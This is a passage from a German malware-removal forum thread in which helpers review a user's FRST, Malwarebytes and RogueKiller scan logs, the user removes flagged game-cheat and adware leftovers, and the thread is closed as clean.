Error: (01/20/2025 04:30:01 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Gaming Services" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (01/20/2025 04:30:01 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "ASUS AURA SYNC lighting service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.


Windows Defender:
================
Date: 2025-01-20 11:06:10
Description:
Die Microsoft Defender Antivirus-Überprüfung wurde vor ihrem Abschluss beendet.
Überprüfungs-ID: {1065C1DA-00D5-494F-B9E4-58BDED4DB0CF}
Überprüfungstyp: Antimalware
Überprüfungsparameter: Schnellüberprüfung
Benutzer: NT-AUTORITÄT\SYSTEM

Date: 2025-01-18 13:41:24
Description:
Die Microsoft Defender Antivirus-Überprüfung wurde vor ihrem Abschluss beendet.
Überprüfungs-ID: {F36515C7-22F6-4659-9F8E-19F7CACE3F22}
Überprüfungstyp: Antimalware
Überprüfungsparameter: Schnellüberprüfung
Benutzer: Emil\wigla

Date: 2025-01-17 20:30:37
Description:
Microsoft Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=PUADlManager:Win32/Snackarcin&threatid=412811&enterprise=0
Name: PUADlManager:Win32/Snackarcin
Schweregrad: Niedrig
Kategorie: Potenziell unerwünschte Software
Pfad: file:_C:\Users\wigla\Downloads\DependencyCore_329625.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: Konkret
Erkennungsquelle: Echtzeitschutz
Benutzer: Emil\wigla
Prozessname: C:\Program Files\Mozilla Firefox\firefox.exe
Sicherheitsversion: AV: 1.421.1407.0, AS: 1.421.1407.0, NIS: 1.421.1407.0
Modulversion: AM: 1.1.24090.11, NIS: 1.1.24090.11

Date: 2025-01-17 20:20:53
Description:
Microsoft Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=PUA:Win32/GameHack&threatid=242625&enterprise=0
Name: PUA:Win32/GameHack
Schweregrad: Niedrig
Kategorie: Potenziell unerwünschte Software
Pfad: file:_C:\Program Files\JJSploit\JJSploit.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: FastPath
Erkennungsquelle: Echtzeitschutz
Benutzer: Emil\wigla
Prozessname: C:\Windows\SysWOW64\msiexec.exe
Sicherheitsversion: AV: 1.421.1407.0, AS: 1.421.1407.0, NIS: 1.421.1407.0
Modulversion: AM: 1.1.24090.11, NIS: 1.1.24090.11

Date: 2025-01-17 20:20:51
Description:
Microsoft Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=PUA:Win32/GameHack&threatid=242625&enterprise=0
Name: PUA:Win32/GameHack
Schweregrad: Niedrig
Kategorie: Potenziell unerwünschte Software
Pfad: file:_C:\Program Files\JJSploit\JJSploit.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: FastPath
Erkennungsquelle: Echtzeitschutz
Benutzer: Emil\wigla
Prozessname: C:\Windows\explorer.exe
Sicherheitsversion: AV: 1.421.1407.0, AS: 1.421.1407.0, NIS: 1.421.1407.0
Modulversion: AM: 1.1.24090.11, NIS: 1.1.24090.11

CodeIntegrity:
===============
Date: 2025-01-20 16:32:07
Description:
Code Integrity determined that a process (\Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\131.0.2903.146\msedgewebview2.exe) attempted to load \Device\HarddiskVolume3\ProgramData\A-Volute\A-Volute.28054DF1F58B4\Modules\ScheduledModules\x64\AudioDevProps2.dll that did not meet the Microsoft signing level requirements.

Date: 2025-01-20 16:32:07
Description:
Code Integrity determined that a process (\Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\131.0.2903.146\msedgewebview2.exe) attempted to load \Device\HarddiskVolume3\ProgramData\A-Volute\A-Volute.SonicStudio3\Modules\ScheduledModules\x64\AudioDevProps2.dll that did not meet the Microsoft signing level requirements.

Date: 2025-01-20 16:32:07
Description:
Code Integrity determined that a process (\Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\131.0.2903.146\msedgewebview2.exe) attempted to load \Device\HarddiskVolume3\ProgramData\A-Volute\A-Volute.28054DF1F58B4\Modules\ScheduledModules\x64\NahimicOSD.dll that did not meet the Microsoft signing level requirements.

Date: 2025-01-13 16:31:45
Description:
Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files\Malwarebytes\Anti-Malware\mbamsi64.dll that did not meet the Windows signing level requirements.


==================== Speicherinformationen ===========================

BIOS: American Megatrends Inc. 5302 10/20/2023
Hauptplatine: ASUSTeK COMPUTER INC. ROG STRIX B450-F GAMING II
Prozessor: AMD Ryzen 7 3700X 8-Core Processor
Prozentuale Nutzung des RAM: 27%
Installierter physikalischer RAM: 32668.79 MB
Verfügbarer physikalischer RAM: 23543.77 MB
Summe virtueller Speicher: 34716.79 MB
Verfügbarer virtueller Speicher: 19639.35 MB

==================== Laufwerke ================================

Drive c: () (Fixed) (Total:930.63 GB) (Free:399.52 GB) (Model: Samsung SSD 980 1TB) NTFS

\\?\Volume{bf16dbd3-0ee1-4bba-ad9e-e7109a40da3a}\ () (Fixed) (Total:0.76 GB) (Free:0.23 GB) NTFS
\\?\Volume{915ec8a1-99fc-41c4-9473-4053e95ce320}\ () (Fixed) (Total:0.09 GB) (Free:0.06 GB) FAT32

==================== MBR & Partitionstabelle ====================

==========================================================
Disk: 0 (Protective MBR) (Size: 931.5 GB) (Disk ID: 00000000)

Partition: GPT.

==================== Ende von Addition.txt =======================

cosinus 21.01.2025 10:11
Kontrollscans mit MBAM und RK

Wir sind fast fertig. Jetzt ist es an der Zeit für Kontrollscans mit
Poste nach Abschluss der beiden Scans die Logs in CODE-Tags.

Pun99 21.01.2025 12:02
RogueKiller hate fünf Ergebnisse, ich habe diese entfernt und einen neuen scan gestartet, dieser war dann ohne Funde.

Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 21.01.2025
Scan-Zeit: 11:30
Protokolldatei: bc59232a-d7e2-11ef-9e4e-f02f741c339e.json

-Softwaredaten-
Version: 5.2.4.157
Komponentenversion: 1.0.5116
Version des Aktualisierungspakets: 1.0.94770
Lizenz: Kostenlos

-Systemdaten-
Betriebssystem: Windows 11 (Build 26100.2894)
CPU: x64
Dateisystem: NTFS
Benutzer: Emil\wigla

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgeschlossen
Gescannte Objekte: 227130
Erkannte Bedrohungen: 0
In die Quarantäne verschobene Bedrohungen: 0
Abgelaufene Zeit: 1 Min., 52 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung

-Scan-Details-
Prozess: 0
(keine bösartigen Elemente erkannt)

Modul: 0
(keine bösartigen Elemente erkannt)

Registrierungsschlüssel: 0
(keine bösartigen Elemente erkannt)

Registrierungswert: 0
(keine bösartigen Elemente erkannt)

Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 0
(keine bösartigen Elemente erkannt)

Datei: 0
(keine bösartigen Elemente erkannt)

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)

WMI: 0
(keine bösartigen Elemente erkannt)


(end)
Code:
Program            : RogueKiller Anti-Malware
Version            : 15.19.2.0
x64                : Yes
Program Date      : Nov  6 2024
Location          : C:\Users\wigla\Downloads\RogueKiller_portable64.exe
Premium            : No
Company            : Adlice Software
Website            : https://www.adlice.com/
Contact            : https://adlice.com/contact/
Website            : https://adlice.com/download/roguekiller/
Operating System  : Windows 11 (10.0.26100) 64-bit
64-bit OS          : Yes
Startup            : 0
WindowsPE          : No
User              : wigla
User is Admin      : Yes
Date              : 2025/01/21 10:43:53
Type              : Scan
Aborted            : No
Scan Mode          : Standard
Duration          : 345
Found items        : 5
Total scanned      : 79065
removed_count      : 0
Signatures Version : 20250110_132930
Truesight Driver  : Yes
Updates Count      : 6

************************* Warnings *************************

************************* Updates *************************
Voicemod (64-bit), version 1.3.1
  [+] Available Version        : 2.48
  [+] Size                    : 20020224
  [+] Wow6432                  : No
  [+] Portable                : No
  [+] update_location          : C:\Program Files\Voicemod V3\

Ubisoft Connect (32-bit), version 156.0.0.11124
  [+] Available Version        : 160.0.0.11552
  [+] Size                    : 0
  [+] Wow6432                  : Yes
  [+] Portable                : No
  [+] update_location          : C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\

Microsoft .NET Runtime - 6.0.16 (x64) (32-bit), version 6.0.16.32323
  [+] Available Version        : 6.0.36
  [+] Size                    : 100122624
  [+] Wow6432                  : Yes
  [+] Portable                : No

Epic Games Launcher (32-bit), version 1.3.93.0
  [+] Available Version        : 1.3.128.0
  [+] Size                    : 249028608
  [+] Wow6432                  : Yes
  [+] Portable                : No
  [+] update_location          : C:\Program Files (x86)\Epic Games\

Roblox Player for wigla (64-bit), version 1.6.0.7079
  [+] Available Version        : 1.6.2.6410741
  [+] Size                    : 0
  [+] Wow6432                  : No
  [+] Portable                : No
  [+] update_location          : C:\Users\wigla\AppData\Local\Roblox\Versions\version-080ad6451df24461

AMD Chipset Software (32-bit), version 3.10.22.706
  [+] Available Version        : 6.10.22.027
  [+] Size                    : 8064000
  [+] Wow6432                  : Yes
  [+] Portable                : No


************************* Processes *************************

************************* Modules *************************

************************* Services *************************

************************* Scheduled Tasks *************************

************************* Registry *************************
>>>>>> R5 - Proxy
└── [PUM.Proxy (Potenziell bösartig)] (X64) HKEY_USERS\S-1-5-21-3736346939-3236848792-3681124891-1001\Software\Microsoft\Windows\CurrentVersion\Internet Settings|ProxyServer -- http=127.0.0.1:60101;https=127.0.0.1:60101 -> Gefunden
>>>>>> XX - Software
└── [PUP.MailRU (Potenziell bösartig)] (X64) HKEY_USERS\S-1-5-21-3736346939-3236848792-3681124891-1001\Software\GameCenter -- N/A -> Gefunden
>>>>>> O4 - Run
└── [Suspicious.Path (Potenziell bösartig)] (X64) HKEY_USERS\S-1-5-21-3736346939-3236848792-3681124891-1001\Software\Microsoft\Windows\CurrentVersion\Run|Mod Menu -- C:\Users\wigla\AppData\Roaming\Mod Menu\XModz Mod Menu.exe (missing) -> Gefunden
>>>>>> O87 - Firewall
├── [Suspicious.Path (Potenziell bösartig)] (X64) HKEY_LOCAL_MACHINE\System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules|{AEB390BF-41BA-4E44-BDC9-CE9CBA197FF6} -- v2.31|Action=Allow|Active=TRUE|Dir=In|Protocol=17|Profile=Public|App=C:\Users\wigla\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe|Name=ACSETUP| (missing) -> Gefunden
└── [Suspicious.Path (Potenziell bösartig)] (X64) HKEY_LOCAL_MACHINE\System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules|{F8682749-6C56-4382-AAED-FCE1454BBDC4} -- v2.31|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Public|App=C:\Users\wigla\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe|Name=ACSETUP| (missing) -> Gefunden

************************* WMI *************************

************************* Hosts File *************************
is_too_big      : No
hosts_file_path : C:\Windows\System32\drivers\etc\hosts


************************* Filesystem *************************

************************* Web Browsers *************************

************************* Antirootkit *************************
Code:
Program            : RogueKiller Anti-Malware
Version            : 15.19.2.0
x64                : Yes
Program Date      : Nov  6 2024
Location          : C:\Users\wigla\Downloads\RogueKiller_portable64.exe
Premium            : No
Company            : Adlice Software
Website            : https://www.adlice.com/
Contact            : https://adlice.com/contact/
Website            : https://adlice.com/download/roguekiller/
Operating System  : Windows 11 (10.0.26100) 64-bit
64-bit OS          : Yes
Startup            : 0
WindowsPE          : No
User              : wigla
User is Admin      : Yes
Date              : 2025/01/21 10:58:25
Type              : Scan
Aborted            : No
Scan Mode          : Standard
Duration          : 330
Found items        : 0
Total scanned      : 79183
removed_count      : 0
Signatures Version : 20250110_132930
Truesight Driver  : Yes
Updates Count      : 6

************************* Warnings *************************

************************* Updates *************************
Voicemod (64-bit), version 1.3.1
  [+] Available Version        : 2.48
  [+] Size                    : 20020224
  [+] Wow6432                  : No
  [+] Portable                : No
  [+] update_location          : C:\Program Files\Voicemod V3\

Ubisoft Connect (32-bit), version 156.0.0.11124
  [+] Available Version        : 160.0.0.11552
  [+] Size                    : 0
  [+] Wow6432                  : Yes
  [+] Portable                : No
  [+] update_location          : C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\

Microsoft .NET Runtime - 6.0.16 (x64) (32-bit), version 6.0.16.32323
  [+] Available Version        : 6.0.36
  [+] Size                    : 100122624
  [+] Wow6432                  : Yes
  [+] Portable                : No

Epic Games Launcher (32-bit), version 1.3.93.0
  [+] Available Version        : 1.3.128.0
  [+] Size                    : 249028608
  [+] Wow6432                  : Yes
  [+] Portable                : No
  [+] update_location          : C:\Program Files (x86)\Epic Games\

Roblox Player for wigla (64-bit), version 1.6.0.7079
  [+] Available Version        : 1.6.2.6410741
  [+] Size                    : 0
  [+] Wow6432                  : No
  [+] Portable                : No
  [+] update_location          : C:\Users\wigla\AppData\Local\Roblox\Versions\version-080ad6451df24461

AMD Chipset Software (32-bit), version 3.10.22.706
  [+] Available Version        : 6.10.22.027
  [+] Size                    : 8064000
  [+] Wow6432                  : Yes
  [+] Portable                : No


************************* Processes *************************

************************* Modules *************************

************************* Services *************************

************************* Scheduled Tasks *************************

************************* Registry *************************

************************* WMI *************************

************************* Hosts File *************************
is_too_big      : No
hosts_file_path : C:\Windows\System32\drivers\etc\hosts


************************* Filesystem *************************

************************* Web Browsers *************************

************************* Antirootkit *************************

cosinus 21.01.2025 12:57
Wenn du nun keine Probleme mehr (mit Malware) hast, sind wir hier fertig. Deine Logdateien sind sauber.

Wenn Du möchtest, kannst Du das Forum mit einer kleinen Spende http://www.trojaner-board.de/extra/spende.png unterstützen.

Abschließend unbedingt unsere Sicherheitsmaßnahmen lesen und umsetzen - beides ist in folgendem Lesestoff verlinkt:

Anleitung: Cleanup & Maßnahmen zur Absicherung des Rechners

M-K-D-B 29.01.2025 22:24
Wir sind froh, dass wir helfen konnten :abklatsch:

Dieses Thema scheint erledigt und wird aus unseren Abos gelöscht. Solltest Du das Thema erneut brauchen, schicke uns bitte eine Erinnerung inklusive Link zum Thema.

Jeder andere bitte hier klicken und ein eigenes Thema erstellen.


Alle Zeitangaben in WEZ +1. Es ist jetzt 15:52 Uhr.

Copyright ©2000-2025, Trojaner-Board


Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131